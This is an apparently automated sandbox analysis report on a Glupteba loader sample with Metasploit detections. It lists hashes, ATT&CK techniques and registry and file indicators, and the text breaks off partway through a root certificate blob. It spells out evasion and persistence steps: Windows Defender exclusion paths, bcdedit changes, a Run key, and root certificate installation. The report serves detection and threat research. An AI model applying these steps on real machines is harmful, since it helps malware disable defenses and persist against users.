glupteba | 4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e

Analysis

max time kernel
151s
max time network
167s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
29-01-2023 18:00

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General

Target

4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Size

3.8MB
MD5

ae38ab4a24718f368139908c03b4c841
SHA1

5856e1cfe4f30a1acc76c03e827b21b60f7aa147
SHA256

4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e
SHA512

081ed2d3e09ecfdc33801e7dec8e6d8f838d7931df8e086b41b553baba7fdf23fd13cd1d9c38b74156e782c95559f18097b4143d02180ee3b2f61cbb723b7fee
SSDEEP

98304:lLlJKeJy/dSFCryijIeT4BQZ/gWK9JbW6Dc+mOeMkEQsmF:VVwdMX8TgsK7kcefE

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1384-56-0x00000000012E0000-0x0000000001AE4000-memory.dmp	family_glupteba
behavioral1/memory/1384-57-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1384-58-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1340-64-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1340-69-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/808-72-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/808-73-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1536-76-0x0000000140000000-0x00000001405E8000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ProudGlitter = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe

Modifies boot configuration data using bcdedit 14 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
924	bcdedit.exe
1168	bcdedit.exe
1752	bcdedit.exe
1724	bcdedit.exe
1568	bcdedit.exe
1592	bcdedit.exe
812	bcdedit.exe
1636	bcdedit.exe
652	bcdedit.exe
1668	bcdedit.exe
2008	bcdedit.exe
1572	bcdedit.exe
824	bcdedit.exe
1520	bcdedit.exe

Drops file in Drivers directory 1 IoCs

Processes:

csrss.exe

description ioc process

File created C:\Windows\system32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exedsefix.exe

pid process

808 csrss.exe
1536 patch.exe
1456 dsefix.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

2008 netsh.exe
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059

description	ioc	process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

pid	process
808	csrss.exe
1536	patch.exe
1456	dsefix.exe

pid	process
2008	netsh.exe

Loads dropped DLL 12 IoCs

Processes:

4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exepatch.execsrss.exe

pid	process
1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
856
1536	patch.exe
1536	patch.exe
1536	patch.exe
1536	patch.exe
1536	patch.exe
1536	patch.exe
1536	patch.exe
1536	patch.exe
808	csrss.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ProudGlitter = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows\CurrentVersion\Run\ProudGlitter = "\"C:\\Windows\\rss\\csrss.exe\""	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

makecab.exe4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe

description	ioc	process
File created	C:\Windows\Logs\CBS\CbsPersist_20230129190143.cab	makecab.exe
File opened for modification	C:\Windows\rss	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
File created	C:\Windows\rss\csrss.exe	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1148 schtasks.exe
1432 schtasks.exe

pid	process
1148	schtasks.exe
1432	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

netsh.execsrss.exe4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exepatch.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b131